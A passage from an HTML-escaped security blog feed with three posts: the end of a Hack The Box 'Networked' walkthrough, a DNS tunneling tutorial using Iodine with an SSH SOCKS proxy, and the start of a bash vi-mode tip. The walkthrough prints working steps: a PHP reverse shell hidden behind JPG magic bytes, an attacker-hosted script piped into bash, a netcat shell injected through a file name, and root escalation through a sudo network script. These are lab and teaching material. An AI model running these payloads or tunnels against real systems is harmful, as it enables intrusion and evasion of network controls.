&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$file_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What the PHP functions are essentially doing (if available), is a check for the &lt;a href="https://en.wikipedia.org/wiki/List_of_file_signatures"&gt;&amp;ldquo;magic bytes&amp;rdquo;&lt;/a&gt;, a signature in the beginning of the file, to determine the mime type.&lt;/p&gt;
&lt;h2 id="exploitation-first-foothold"&gt;Exploitation (first foothold)&lt;/h2&gt;
&lt;p&gt;So what if we put the file signature of a JPG file at the top of a PHP file? Would the PHP code still be executed?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# write magic bytes into a new file
echo -e &amp;#39;\xff\xd8\xff\xdb&amp;#39; &amp;gt; fake.php.jpg

# open file to add php code
vim fake.php.jpg

# add PHP code to execute netcat to connect to us
# (or any other code you&amp;#39;d like to execute. For a bit of obfuscation of what
# you did, you could also take the command as a GET argument)
&amp;lt;?php system(&amp;#39;nc 10.10.14.19 9090 -e /bin/bash&amp;#39;); ?&amp;gt;

# start our listener
nc -lvnp 9090
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Uploading &lt;code&gt;fake.php.jpg&lt;/code&gt; triggers no more file type errors as we have a valid JPG signature and a jpg extension. And visiting &lt;code&gt;/photos.php&lt;/code&gt; successfully executes our payload:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Ncat: Listening on :::9090
Ncat: Listening on 0.0.0.0:9090
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:45262.
id
uid=48(apache) gid=48(apache) groups=48(apache)
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 This is not only an issue with the code but also the PHP configuration (in &lt;code&gt;/etc/httpd/conf.d/php.conf&lt;/code&gt;), which is set to interpret files that have &amp;ldquo;.php&amp;rdquo; anywhere in them, not just as an extension. A file named &lt;code&gt;something.php.somethingelse&lt;/code&gt; would thus also be given to the PHP interpreter.
&lt;/div&gt;

&lt;h2 id="enumeration-and-exploitation-user"&gt;Enumeration and Exploitation (user)&lt;/h2&gt;
&lt;p&gt;Now that we have a low-priv apache shell, we can start enumerating things to escalate our privileges.&lt;/p&gt;
&lt;p&gt;A nice way of automatically getting an overview of the system is to run &lt;a href="https://github.com/rebootuser/LinEnum"&gt;LinEnum&lt;/a&gt;. We can serve it from our attacker machine via Python and pipe the script directly into bash.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# start a webserver on attacker machine
python3 -m http.server 8000

# in low priv shell
curl http://10.10.14.19:8000/LinEnum.sh | bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going through the results, what catches the eye immediately are these two (world-readable!) files.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[-] World-readable files within /home:
[...]
-r--r--r--. 1 root root 782 Oct 30 2018 /home/guly/check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 /home/guly/crontab.guly
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We cannot modify the PHP script directly, but having a look at &lt;code&gt;check_attack.php&lt;/code&gt;, we notice two &lt;code&gt;exec&lt;/code&gt; calls, one of them we might be able to control:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;exec(&amp;#34;rm -f $logpath&amp;#34;);
exec(&amp;#34;nohup /bin/rm -f $path$value &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#34;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;$logpath&lt;/code&gt; and &lt;code&gt;$path&lt;/code&gt; are set at the beginning of the script, but &lt;code&gt;$value&lt;/code&gt; is determined by the filename, which we can control.&lt;/p&gt;
&lt;p&gt;The idea is now to create a file in &lt;code&gt;/var/www/html/uploads/&lt;/code&gt; that has a valid additional command in its filename (and is an &amp;ldquo;attack attempt&amp;rdquo; as defined by the script), so that we end up with an &lt;code&gt;exec&lt;/code&gt; like this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nohup /bin/rm -f /var/www/html/uploads/&lt;/code&gt; &amp;ndash;&amp;gt; &lt;code&gt;something; nc 10.10.14.19 9091 -e /bin/bash&lt;/code&gt; &amp;lt;&amp;ndash; &lt;code&gt;&amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We have one problem, though. Naming a file &lt;code&gt;something; nc 10.10.14.19 9091 -e /bin/bash&lt;/code&gt; might not work because of the slashes.&lt;/p&gt;
&lt;p&gt;To work around that we can look for environment variables with slashes in them and then use the &lt;a href="https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html"&gt;parameter expansion&lt;/a&gt; functionality in bash (&lt;code&gt;${parameter:offset:length}&lt;/code&gt;) to just extract the slash. Using &lt;code&gt;env&lt;/code&gt; we can see environment variables; as expected PATH is set and contains slashes, so let&amp;rsquo;s use it. &lt;code&gt;${PATH:0:1}bin${PATH:0:1}bash&lt;/code&gt; will give us &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s start another netcat listener and then create our file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# on attacker machine
nc -lvnp 9091

# on remote machine
touch /var/www/html/uploads/&amp;#39;something; nc 10.10.14.19 9091 -e ${PATH:0:1}bin${PATH:0:1}bash&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="command injection" loading="lazy" src="https://davidhamann.de/images/networked-command-injection-in-file.png"&gt;&lt;/p&gt;
&lt;p&gt;After about 3 minutes (because of the cron &lt;code&gt;*/3 * * * * php /home/guly/check_attack.php&lt;/code&gt; as defined in &lt;code&gt;crontab.guly&lt;/code&gt;), we see that the remote machine connected back to our listener and we&amp;rsquo;re now user &lt;code&gt;guly&lt;/code&gt;. Good!&lt;/p&gt;
&lt;p&gt;&lt;img alt="guly shell" loading="lazy" src="https://davidhamann.de/images/networked-guly-shell.png"&gt;&lt;/p&gt;
&lt;h2 id="enumeration-and-exploitation-root"&gt;Enumeration and Exploitation (root)&lt;/h2&gt;
&lt;p&gt;One of the first manual checks I do is to see if the user can &lt;code&gt;sudo&lt;/code&gt; anything without credentials. In this case it can:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ sudo -l
[...]
User guly may run the following commands on networked:
 (root) NOPASSWD: /usr/local/sbin/changename.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Without running LinEnum.sh again, we can straight dive into inspecting this shell script.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash -p
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;cat &amp;gt; /etc/sysconfig/network-scripts/ifcfg-guly &lt;span class="s"&gt;&amp;lt;&amp;lt; EoF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;DEVICE=guly0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;ONBOOT=no
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;NM_CONTROLLED=no
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EoF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;regexp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;^[a-zA-Z0-9_\ /-]+&lt;/span&gt;$&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;interface &lt;/span&gt;&lt;span class="nv"&gt;$var&lt;/span&gt;&lt;span class="s2"&gt;:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;read&lt;/span&gt; x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; ! &lt;span class="nv"&gt;$x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ &lt;span class="nv"&gt;$regexp&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;wrong input, try again&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;interface &lt;/span&gt;&lt;span class="nv"&gt;$var&lt;/span&gt;&lt;span class="s2"&gt;:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;read&lt;/span&gt; x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$var&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$x&lt;/span&gt; &amp;gt;&amp;gt; /etc/sysconfig/network-scripts/ifcfg-guly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/sbin/ifup guly0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This script gives us the opportunity to modify &lt;code&gt;/etc/sysconfig/network-scripts/ifcfg-guly&lt;/code&gt; by asking for input for the mentioned variable name/value pairs. As we can give any value that matches the regex, we can add a value followed by a space and a command.&lt;/p&gt;
&lt;p&gt;This works as privilege escalation, because when the file is sourced at the end, the system tries to execute commands that appear after the space (after the value part). And since the process runs as root, we have command execution as root.&lt;/p&gt;
&lt;p&gt;To demonstrate, it works similar to this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo &amp;#34;some=thing id&amp;#34; &amp;gt; example
$ source example # &amp;lt;-- will not just set the variable but also execute &amp;#34;id&amp;#34;
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So what we can do on the remote machine is the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ sudo /usr/local/sbin/changename.sh
interface NAME:
something bash -i # &amp;lt;--- notice the space before the command
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a

# and we&amp;#39;re in another interactive bash shell as root
$ id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Have a read about this &amp;ldquo;issue&amp;rdquo; on &lt;a href="https://seclists.org/fulldisclosure/2019/Apr/24"&gt;Full Disclosure (Redhat/CentOS root through network-scripts)&lt;/a&gt;. Setting the right permissions (i.e. not allowing users to edit the file) is enough to prevent this exploitation of a network-script.&lt;/p&gt;
&lt;p&gt;Cheers!&lt;/p&gt;</description></item><item><title>Tunneling network traffic over DNS with Iodine and a SSH SOCKS proxy</title><link>https://davidhamann.de/2019/05/12/tunnel-traffic-over-dns-ssh/</link><pubDate>Sun, 12 May 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/05/12/tunnel-traffic-over-dns-ssh/</guid><description>&lt;p&gt;&lt;img alt="dns tunnel splash" loading="lazy" src="https://davidhamann.de/images/dns-tunnel-splash.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Accessing the internet via restricted networks can be a pain. But so can be securing a network and putting those restrictions in place. Let&amp;rsquo;s have a look at how DNS tunneling can in some cases allow getting data in and out, when regular access is blocked or otherwise restricted, but DNS queries work.&lt;/p&gt;
&lt;p&gt;Seeing this technique in action can help you understand how unauthorized users could get around your security measures and use less monitored channels for communication (e.g. for malware command and control), or may come in handy when doing an attack simulation yourself. In addition, it&amp;rsquo;s a fun way to mess with captive portals which often kind of &amp;ldquo;man-in-the-middle&amp;rdquo; your connection to direct you to a sign-up page, but still let you resolve names in any state.&lt;/p&gt;
&lt;p&gt;I always wanted to set up something like this since I first read about the technique. Today, I finally did and want to document the process.&lt;/p&gt;
&lt;h2 id="how-does-it-work"&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;In a nutshell: what we want to do is tunnel IPv4 network packets over DNS, using the hostname to send data (via a DNS query) and a record type, e.g. NULL*, TXT or other record for transporting the response, meaning we will have DNS queries in a format like &lt;code&gt;&amp;lt;encoded data&amp;gt;.x.domain.com&lt;/code&gt; for our upstream and the DNS response for our downstream.&lt;/p&gt;
&lt;p&gt;For the whole thing to work, we need control over a domain and be able to edit the zone file. In addition to that, we need a server that we can point our address record (A) to and that will do the communication for/with us.&lt;/p&gt;
&lt;p&gt;Due to the size limitations of DNS records, we shouldn&amp;rsquo;t expect to get blazingly fast data transfer rates, but any connection is better than none. Note that due to these limitations, the domain and subdomain should be as &lt;em&gt;short&lt;/em&gt; as possible to leave as &lt;em&gt;much&lt;/em&gt; as possible room for the actual data.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;em&gt;* A NULL record has the advantage of being able to transfer a lot more information. Please also see the section &lt;strong&gt;Operational info&lt;/strong&gt; in the &lt;a href="https://github.com/yarrick/iodine"&gt;README&lt;/a&gt; of Iodine (the tool we are going to use).&lt;/em&gt;
&lt;/div&gt;

&lt;h2 id="iodine"&gt;Iodine&lt;/h2&gt;
&lt;p&gt;Most of the work in this setup will be done by a tool called &lt;a href="https://code.kryo.se/iodine/"&gt;Iodine&lt;/a&gt; by kyro.se.&lt;/p&gt;
&lt;p&gt;It has a server and client component and it is recommended to run the same version on both ends. I will use the latest master, which currently points to commit &lt;code&gt;27e5d6f&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Iodine will take care of sending (client) and answering (server) the DNS queries, plus handle fragmentation, compression, encoding, record type to use, etc., and perform a lot of other magic behind the scenes. We essentially only need to take care of starting both the server and the client tool.&lt;/p&gt;
&lt;p&gt;For more detailled information or troubleshooting have a look at the README and the code &lt;a href="https://github.com/yarrick/iodine"&gt;hosted at GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;To summarize the prerequisites again, we need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Control over a domain&lt;/li&gt;
&lt;li&gt;A server (preferrably with a static IP)&lt;/li&gt;
&lt;li&gt;A client (for example your computer)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I used an Ubuntu 18 server and Kali Linux 2019.1 as client. As mentioned above, the version of Iodine we are going to compile is from commit &lt;code&gt;27e5d6f&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="the-setup"&gt;The setup&lt;/h2&gt;
&lt;h3 id="building-iodine"&gt;Building Iodine&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s clone Iodine, make and install it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git clone https://github.com/yarrick/iodine.git
make
make install
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which gives us the executables &lt;code&gt;/usr/local/sbin/iodined&lt;/code&gt; or &lt;code&gt;/usr/local/sbin/iodine&lt;/code&gt;, respectively. &lt;code&gt;iodined&lt;/code&gt; will be our server component, &lt;code&gt;iodine&lt;/code&gt; our client component.&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;iodined -v&lt;/code&gt; and &lt;code&gt;iodine -v&lt;/code&gt; to check your versions.&lt;/p&gt;
&lt;h3 id="dns-zone-setup"&gt;DNS zone setup&lt;/h3&gt;
&lt;p&gt;We will have to create two records in our zone. A NS record and an A record pointing to our server.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Name | Type | Value
----------------------------------------------------
x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;. | NS | xns.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;.
xns.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;. | A | &amp;lt;server ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;&amp;lt;domain&amp;gt;&lt;/code&gt; is the domain we control, &lt;code&gt;&amp;lt;server ip&amp;gt;&lt;/code&gt; is the IP of the server where we will run &lt;code&gt;iodined&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can name your subdomain as you like, but remember to keep it as short as possible.&lt;/p&gt;
&lt;h3 id="server-setup"&gt;Server setup&lt;/h3&gt;
&lt;p&gt;At this point we should have a fresh server install and on it the Iodine version we&amp;rsquo;ve built above. Also, inbound ports for SSH (TCP 22) and DNS (UDP 53) should be open.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s ssh into the server and start iodined.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -i key.pem user@host
sudo iodined -f &amp;lt;tunnel ip&amp;gt; x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;

Enter password: xxxx
Opened dns0
Setting IP of dns0 to 10.10.10.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Opened IPv6 UDP socket
Listening to dns for domain x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;-f&lt;/code&gt; will keep it running in the foreground. For the tunnel IP, specify an internal IP you want to use. I chose 10.10.10.1.&lt;/p&gt;
&lt;p&gt;After starting iodined, you should be asked to set a password. Enter it and remember it for later when starting the client.&lt;/p&gt;
&lt;p&gt;If you like, you can now test your server setup via the &lt;a href="https://code.kryo.se/iodine/check-it/"&gt;troubleshooting tool provided by kyro.se&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="iodine check tool" loading="lazy" src="https://davidhamann.de/images/iodine-check-tool.png"&gt;&lt;/p&gt;
&lt;h3 id="client-setup"&gt;Client setup&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s head over to our client machine and startup &lt;code&gt;iodine&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;iodine -f -P &amp;lt;password&amp;gt; x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For now, let&amp;rsquo;s keep all the options at their default setting, and only specify the password with &lt;code&gt;-P&lt;/code&gt;. However, if you&amp;rsquo;re testing in an environment where &amp;ldquo;anything goes&amp;rdquo;, you may want to specify &lt;code&gt;-r&lt;/code&gt; to make sure to use DNS tunneling over raw UDP tunneling (otherwise Iodine will try to detect if this is possible and switch over).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt; to &amp;lt;local nameserver&amp;gt;
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 10.10.10.2
Setting MTU of dns0 to 1130
Server tunnel IP is 10.10.10.1
Skipping raw mode
Using EDNS0 extension
Switching upstream to codec Base128
Server switched upstream to codec Base128
No alternative downstream codec available, using default (Raw)
Switching to lazy mode for low-latency
Server switched to lazy mode
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. 1152 ok.. ...1344 not ok.. ...1248 not ok.. ...1200 not ok.. 1176 ok.. 1188 ok.. will use 1188-2=1186
Setting downstream fragment size to max 1186...
Connection setup complete, transmitting data.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A simple first thing to check is, if we can ping the tunnel IP (in this case 10.10.10.1). There should also be a new interface &lt;code&gt;dns0&lt;/code&gt; (&lt;code&gt;ifconfig&lt;/code&gt;) with an assigned IP from the tunnel subnet (here: 10.10.10.2). Sniffing on the default interface (for example &lt;code&gt;eth0&lt;/code&gt;) we can now see the (potentially, lots of) DNS queries, more specifically, NULL queries in our case.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 In case you&amp;rsquo;re getting &lt;code&gt;iodine: BADIP: Server rejected sender IP address...&lt;/code&gt;, you can try to pass &lt;code&gt;-c&lt;/code&gt; to the server command to check if &lt;em&gt;&amp;ldquo;disabling the check of client IP/port on each request&amp;rdquo;&lt;/em&gt; (see &lt;a href="https://github.com/yarrick/iodine#server-side"&gt;README#server-side&lt;/a&gt;) will solve these issues.
&lt;/div&gt;

&lt;h2 id="using-a-socks-proxy-to-secure-our-traffic"&gt;Using a SOCKS proxy to secure our traffic&lt;/h2&gt;
&lt;p&gt;The traffic that we are sending over DNS is not encrypted. What we can do to change that, is to open a SSH connection via the DNS tunnel and use it as a SOCKS proxy (so, a tunnel within the tunnel).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -ND 31337 -i key.pem user@10.10.10.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I didn&amp;rsquo;t use placeholders here to better show which IP to use. The 10.10.10.1 is the tunnel IP which we have specified when starting &lt;code&gt;iodined&lt;/code&gt; on the server, 31337 is the port to be used for the local socket. Choose any port you like &amp;gt;= 1024.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-N&lt;/code&gt; specifies that we do not want to execute a remote command (we just need the port forwarding). &lt;code&gt;-D&lt;/code&gt; lets us do the port forwarding so that SSH can act as our SOCKS server.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s do a quick test by curling a service that echoes back our IP:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl -x socks5h://127.0.0.1:31337 http://httpbin.org/ip&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;It should give back the address of the server, not of our client (do a quick check with and without the tunnel).&lt;/p&gt;
&lt;p&gt;If the curl request times out, you may have a problem with the name resolution. For debugging purposes, try to curl an IP instead of a hostname or see if it works when using &lt;code&gt;socks5://&lt;/code&gt; (without the &lt;strong&gt;h&lt;/strong&gt;; this will do the name resolution on your client, rather than on the server). If it does, check if something is wrong with your &lt;code&gt;/etc/resolv.conf&lt;/code&gt; on the server (you could try to set another &lt;code&gt;nameserver&lt;/code&gt;, e.g. via the &lt;code&gt;resolveconf&lt;/code&gt; package).&lt;/p&gt;
&lt;h3 id="using-a-browser-or-any-other-app"&gt;Using a browser (or any other app)&lt;/h3&gt;
&lt;p&gt;Any application that allows us to specify a SOCKSv5 proxy, can now be configured to use this tunnel. Here&amp;rsquo;s an example for Firefox:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Firefox proxy settings" loading="lazy" src="https://davidhamann.de/images/firefox-proxy-settings.png"&gt;&lt;/p&gt;
&lt;h2 id="tunnel-everything"&gt;Tunnel everything&lt;/h2&gt;
&lt;p&gt;For cases where a SOCKS proxy is not feasable or where we want to tunnel everything from our machine, using a VPN should be considered.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re looking for information on how to set up the natting on the server and routes on the client to send everything (unencrypted) over the dns0 interface, check out &lt;a href="https://gist.github.com/calzoneman/f9d0e5f023026e6a85c9"&gt;this gist&lt;/a&gt; (&lt;a href="https://web.archive.org/web/20170911163816/https://gist.github.com/calzoneman/f9d0e5f023026e6a85c9"&gt;archived&lt;/a&gt;) by calzoneman.&lt;/p&gt;
&lt;p&gt;It boils down to:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o dns0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i dns0 -o eth0 -j ACCEPT

route add &amp;lt;server ip&amp;gt; gw &amp;lt;default gateway on client network&amp;gt;
ip route del default via &amp;lt;default gateway on client network&amp;gt;
ip route add default via &amp;lt;tunnel ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Again, easy to check if it&amp;rsquo;s working by doing &lt;code&gt;curl http://httpbin.org/ip&lt;/code&gt; (this time without the proxy) or sniffing on the &lt;code&gt;dns0&lt;/code&gt; interface.&lt;/p&gt;
&lt;h2 id="detection-and-prevention"&gt;Detection and Prevention&lt;/h2&gt;
&lt;p&gt;How can you detect and/or prevent this kind of tunneling? I haven&amp;rsquo;t actively looked into this, but a few things may work for detection or prevention:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Detection based on amount, size, host-naming and type of DNS queries from regular clients. The traffic will surely statistically stand out.&lt;/li&gt;
&lt;li&gt;In general, the amount of traffic over port 53 from individual clients should stand out (if used for regular browsing and not just sending/receiving a few commands)&lt;/li&gt;
&lt;li&gt;Disallowing internal DNS servers to resolve to external addresses and do the external resolution only through a proxy should prevent this technique&lt;/li&gt;
&lt;li&gt;In the case of captive portals, resolving external addresses only after sign-up may work. But then again, there are also other ways for getting around the captive portal, e.g. capturing and then assuming an already signed-up MAC address (which requires much less preparation)&lt;/li&gt;
&lt;li&gt;Blocking certain domains/IP blocks/regions is surely always possible, but ineffective if the other end could potentially be anywhere.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Using vi commands in your bash shell</title><link>https://davidhamann.de/2018/01/28/using-vi-commands-in-your-bash-shell/</link><pubDate>Sun, 28 Jan 2018 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2018/01/28/using-vi-commands-in-your-bash-shell/</guid><description>&lt;p&gt;Entering a long shell command and then moving the cursor around to correct parts of it always felt a bit clunky to me. I remembered some of the &amp;lt;ctrl&amp;gt;/&amp;lt;alt&amp;gt; key bindings but would often just end up using arrow keys or alt-click to navigate to a certain position.&lt;/p&gt;
&lt;p&gt;Today I learned that you can easily get a vi-style command line interface in bash, giving you insert and normal mode and allowing you to use a basic subset of vi commands.&lt;/p&gt;
&lt;p&gt;While an ancient feature, it was new to me. Here&amp;rsquo;s how to do it.&lt;/p&gt;
&lt;h2 id="set-shell-option-for-vi-style-editing"&gt;Set shell option for vi-style editing&lt;/h2&gt;
&lt;p&gt;To enable vi-style editing, you set the vi option:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;set -o vi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you want to keep using the option, make sure to add it to your &lt;code&gt;.bash_profile&lt;/code&gt; or &lt;code&gt;.bashrc&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="start-making-your-edits"&gt;Start making your edits&lt;/h2&gt;
&lt;p&gt;Once you have the above command executed, you can start using the cli just like vi.&lt;/p&gt;
&lt;p&gt;A couple of things to be aware about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You are directly placed in insert mode, not in normal mode.&lt;/li&gt;
&lt;li&gt;This is not a full vi, so don&amp;rsquo;t expect every command to work.&lt;/li&gt;
&lt;li&gt;You &lt;em&gt;can&lt;/em&gt; get a full vi/vim, if you really want to 🤓 (see next section).&lt;/li&gt;
